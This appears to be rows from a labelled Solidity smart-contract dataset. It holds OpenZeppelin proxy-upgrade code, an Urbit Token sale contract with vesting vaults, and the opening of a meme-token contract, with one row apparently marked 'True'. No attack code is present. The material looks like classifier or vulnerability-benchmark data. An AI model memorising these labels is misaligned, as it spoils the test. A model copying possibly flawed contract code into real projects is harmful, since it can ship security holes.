function __ERC1967Upgrade_init_unchained() internal onlyInitializing {
}
// This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1
bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Emitted when the implementation is upgraded.
*/
event Upgraded(address indexed implementation);
/**
* @dev Returns the current implementation address.
*/
function _getImplementation() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 implementation slot.
*/
function _setImplementation(address newImplementation) private {
require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract");
StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
}
/**
* @dev Perform implementation upgrade
*
* Emits an {Upgraded} event.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Perform implementation upgrade with additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCall(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
_upgradeTo(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
}
/**
* @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
*
* Emits an {Upgraded} event.
*/
function _upgradeToAndCallSecure(
address newImplementation,
bytes memory data,
bool forceCall
) internal {
address oldImplementation = _getImplementation();
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0 || forceCall) {
_functionDelegateCall(newImplementation, data);
}
// Perform rollback test if not already in progress
StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
if (!rollbackTesting.value) {
// Trigger rollback using upgradeTo from the new implementation
rollbackTesting.value = true;
_functionDelegateCall(
newImplementation,
abi.encodeWithSignature("upgradeTo(address)", oldImplementation)
);
rollbackTesting.value = false;
// Check rollback was effective
require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
// Finally reset to the new implementation and log the upgrade
_upgradeTo(newImplementation);
}
}
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Returns the current admin.
*/
function _getAdmin() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;
}
/**
* @dev Stores a new address in the EIP1967 admin slot.
*/
function _setAdmin(address newAdmin) private {
require(newAdmin != address(0), "ERC1967: new admin is the zero address");
StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*/
function _changeAdmin(address newAdmin) internal {
emit AdminChanged(_getAdmin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.
* This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.
*/
bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;
/**
* @dev Emitted when the beacon is upgraded.
*/
event BeaconUpgraded(address indexed beacon);
/**
* @dev Returns the current beacon.
*/
function _getBeacon() internal view returns (address) {
return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;
}
/**
* @dev Stores a new beacon in the EIP1967 beacon slot.
*/
function _setBeacon(address newBeacon) private {
require(AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract");
require(
AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()),
"ERC1967: beacon implementation is not a contract"
);
StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;
}
/**
* @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does
* not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).
*
* Emits a {BeaconUpgraded} event.
*/
function _upgradeBeaconToAndCall(
address newBeacon,
bytes memory data,
bool forceCall
) internal {
_setBeacon(newBeacon);
emit BeaconUpgraded(newBeacon);
if (data.length > 0 || forceCall) {
_functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data);
}
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) {
require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return AddressUpgradeable.verifyCallResult(success, returndata, "Address: low-level delegate call failed");
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeaconUpgradeable {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlotUpgradeable {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.9;
interface IGatekeeperable {
function gatekeeper() external view returns (address);
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|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/* solium-disable security/no-block-members */
/**
* @title TokenVesting
* @dev A token holder contract that can release its token balance gradually like a
* typical vesting scheme, with a cliff and vesting period. Optionally revocable by the
* owner.
*/
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
// beneficiary of tokens after they are released
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
/**
* @dev Creates a vesting contract that vests its balance of any ERC20 token to the
* _beneficiary, gradually in a linear fashion until _start + _duration. By then all
* of the balance will have vested.
* @param _beneficiary address of the beneficiary to whom vested tokens are transferred
* @param _cliff duration in seconds of the cliff in which tokens will begin to vest
* @param _duration duration in seconds of the period in which the tokens will vest
* @param _revocable whether the vesting is revocable or not
*/
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
/**
* @notice Transfers vested tokens to beneficiary.
* @param token ERC20 token which is being vested
*/
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
/**
* @notice Allows the owner to revoke the vesting. Tokens already vested
* remain in the contract, the rest are returned to the owner.
* @param token ERC20 token which is being vested
*/
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param token ERC20 token which is being vested
*/
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
/**
* @dev Calculates the amount that has already vested.
* @param token ERC20 token which is being vested
*/
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
/**
* @title PresaleTokenVesting
* @dev PresaleTokenVesting allows for vesting periods which begin at
* the time the token sale ends.
*/
contract PresaleTokenVesting is TokenVesting {
function PresaleTokenVesting(address _beneficiary, uint256 _duration) TokenVesting(_beneficiary, 0, _duration, _duration, false) public {
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
UrbitToken urbit = UrbitToken(token);
if (!urbit.saleClosed()) {
return(0);
} else {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
uint256 saleClosedTime = urbit.saleClosedTimestamp();
if (block.timestamp >= duration.add(saleClosedTime)) { // solium-disable-line security/no-block-members
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(saleClosedTime)).div(duration); // solium-disable-line security/no-block-members
}
}
}
}
/**
* @title TokenVault
* @dev TokenVault is a token holder contract that will allow a
* beneficiary to spend the tokens from some function of a specified ERC20 token
*/
contract TokenVault {
using SafeERC20 for ERC20;
// ERC20 token contract being held
ERC20 public token;
function TokenVault(ERC20 _token) public {
token = _token;
}
/**
* @notice Allow the token itself to send tokens
* using transferFrom().
*/
function fillUpAllowance() public {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.approve(token, amount);
}
}
/**
* @title UrbitToken
* @dev UrbitToken is a contract for the Urbit token sale, creating the
* tokens and managing the vaults.
*/
contract UrbitToken is BurnableToken, StandardToken {
string public constant name = "Urbit Token"; // solium-disable-line uppercase
string public constant symbol = "URB"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant MAGNITUDE = 10**uint256(decimals);
/// Maximum tokens to be allocated (600 million)
uint256 public constant HARD_CAP = 600000000 * MAGNITUDE;
/// This address is used to manage the admin functions and allocate vested tokens
address public urbitAdminAddress;
/// This address is used to keep the tokens for sale
address public saleTokensAddress;
/// This vault is used to keep the bounty and marketing tokens
TokenVault public bountyTokensVault;
/// This vault is used to keep the team and founders tokens
TokenVault public urbitTeamTokensVault;
/// This vault is used to keep the advisors tokens
TokenVault public advisorsTokensVault;
/// This vault is used to keep the rewards tokens
TokenVault public rewardsTokensVault;
/// This vault is used to keep the retained tokens
TokenVault public retainedTokensVault;
/// Store the vesting contracts addresses
mapping(address => address[]) public vestingsOf;
/// when the token sale is closed, the trading is open
uint256 public saleClosedTimestamp = 0;
/// Only allowed to execute before the token sale is closed
modifier beforeSaleClosed {
require(!saleClosed());
_;
}
/// Limiting functions to the admins of the token only
modifier onlyAdmin {
require(senderIsAdmin());
_;
}
function UrbitToken(
address _urbitAdminAddress,
address _saleTokensAddress) public
{
require(_urbitAdminAddress != address(0));
require(_saleTokensAddress != address(0));
urbitAdminAddress = _urbitAdminAddress;
saleTokensAddress = _saleTokensAddress;
}
/// @dev allows the admin to assign a new admin
function changeAdmin(address _newUrbitAdminAddress) external onlyAdmin {
require(_newUrbitAdminAddress != address(0));
urbitAdminAddress = _newUrbitAdminAddress;
}
/// @dev creates the tokens needed for sale
function createSaleTokens() external onlyAdmin beforeSaleClosed {
require(bountyTokensVault == address(0));
/// Maximum tokens to be allocated on the sale
/// 252,000,000 URB
createTokens(252000000, saleTokensAddress);
/// Bounty tokens - 24M URB
bountyTokensVault = createTokenVault(24000000);
}
/// @dev Close the token sale
function closeSale() external onlyAdmin beforeSaleClosed {
createAwardTokens();
saleClosedTimestamp = block.timestamp; // solium-disable-line security/no-block-members
}
/// @dev Once the token sale is closed and tokens are distributed,
/// burn the remaining unsold, undistributed tokens
function burnUnsoldTokens() external onlyAdmin {
require(saleClosed());
_burn(saleTokensAddress, balances[saleTokensAddress]);
_burn(bountyTokensVault, balances[bountyTokensVault]);
}
function lockBountyTokens(uint256 _tokensAmount, address _beneficiary, uint256 _duration) external beforeSaleClosed {
require(msg.sender == saleTokensAddress || senderIsAdmin());
_presaleLock(bountyTokensVault, _tokensAmount, _beneficiary, _duration);
}
/// @dev Shorter version of vest tokens (lock for a single whole period)
function lockTokens(address _fromVault, uint256 _tokensAmount, address _beneficiary, uint256 _unlockTime) external onlyAdmin {
this.vestTokens(_fromVault, _tokensAmount, _beneficiary, _unlockTime, 0, 0, false); // solium-disable-line arg-overflow
}
/// @dev Vest tokens
function vestTokens(
address _fromVault,
uint256 _tokensAmount,
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable)
external onlyAdmin
{
TokenVesting vesting = new TokenVesting(_beneficiary, _start, _cliff, _duration, _revocable);
vestingsOf[_beneficiary].push(address(vesting));
require(this.transferFrom(_fromVault, vesting, _tokensAmount));
}
/// @dev releases vested tokens for the caller's own address
function releaseVestedTokens() external {
this.releaseVestedTokensFor(msg.sender);
}
/// @dev releases vested tokens for the specified address.
/// Can be called by any account for any address.
function releaseVestedTokensFor(address _owner) external {
ERC20Basic token = ERC20Basic(address(this));
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
TokenVesting tv = TokenVesting(vestingsOf[_owner][i]);
if (tv.releasableAmount(token) > 0) {
tv.release(token);
}
}
}
/// @dev returns whether the sender is admin (or the contract itself)
function senderIsAdmin() public view returns (bool) {
return (msg.sender == urbitAdminAddress || msg.sender == address(this));
}
/// @dev The sale is closed when the saleClosedTimestamp is set.
function saleClosed() public view returns (bool) {
return (saleClosedTimestamp > 0);
}
/// @dev check the locked balance for an address
function lockedBalanceOf(address _owner) public view returns (uint256) {
uint256 result = 0;
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
result += balances[vestingsOf[_owner][i]];
}
return result;
}
/// @dev check the locked but releasable balance for an address
function releasableBalanceOf(address _owner) public view returns (uint256) {
uint256 result = 0;
for (uint i = 0; i < vestingsOf[_owner].length; i++) {
result += TokenVesting(vestingsOf[_owner][i]).releasableAmount(this);
}
return result;
}
/// @dev get the number of TokenVesting contracts for an address
function vestingCountOf(address _owner) public view returns (uint) {
return vestingsOf[_owner].length;
}
/// @dev get the specified TokenVesting contract address for an address
function vestingOf(address _owner, uint _index) public view returns (address) {
return vestingsOf[_owner][_index];
}
/// @dev Trading is limited before the sale is closed
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
if (saleClosed() || msg.sender == saleTokensAddress || senderIsAdmin()) {
return super.transferFrom(_from, _to, _value);
}
return false;
}
/// @dev Trading is limited before the sale is closed
function transfer(address _to, uint256 _value) public returns (bool) {
if (saleClosed() || msg.sender == saleTokensAddress || senderIsAdmin()) {
return super.transfer(_to, _value);
}
return false;
}
/// @dev Grant tokens which begin vesting upon close of sale.
function _presaleLock(TokenVault _fromVault, uint256 _tokensAmount, address _beneficiary, uint256 _duration) internal {
PresaleTokenVesting vesting = new PresaleTokenVesting(_beneficiary, _duration);
vestingsOf[_beneficiary].push(address(vesting));
require(this.transferFrom(_fromVault, vesting, _tokensAmount));
}
// @dev create specified number of toekns and transfer to destination
function createTokens(uint32 count, address destination) internal onlyAdmin {
uint256 tokens = count * MAGNITUDE;
totalSupply_ = totalSupply_.add(tokens);
balances[destination] = tokens;
emit Transfer(0x0, destination, tokens);
}
/// @dev Create a TokenVault and fill with the specified newly minted tokens
function createTokenVault(uint32 count) internal onlyAdmin returns (TokenVault) {
TokenVault tokenVault = new TokenVault(ERC20(this));
createTokens(count, tokenVault);
tokenVault.fillUpAllowance();
return tokenVault;
}
/// @dev Creates the tokens awarded after the sale is closed
function createAwardTokens() internal onlyAdmin {
/// Team tokens - 30M URB
urbitTeamTokensVault = createTokenVault(30000000);
/// Advisors tokens - 24M URB
advisorsTokensVault = createTokenVault(24000000);
/// Rewards tokens - 150M URB
rewardsTokensVault = createTokenVault(150000000);
/// Retained tokens - 120M URB
retainedTokensVault = createTokenVault(120000000);
}
} | True | [
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|
/**
// The one and only Dui Dog is here to safe the lives of all meme-dog coins.
//
// WEBSITE - http://duidogtoken.com
// TELEGRAM - https://t.me/duitoken
//
//
// TOKENOMICS
// 30% Burned
// 70% Listed on uniswap
// 5% Redistribution
// Fair stealth launch to keep minimal of bots.
//
//
// Check out Dui's instagram!
// https://www.instagram.com/nguyen_van_dui/
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
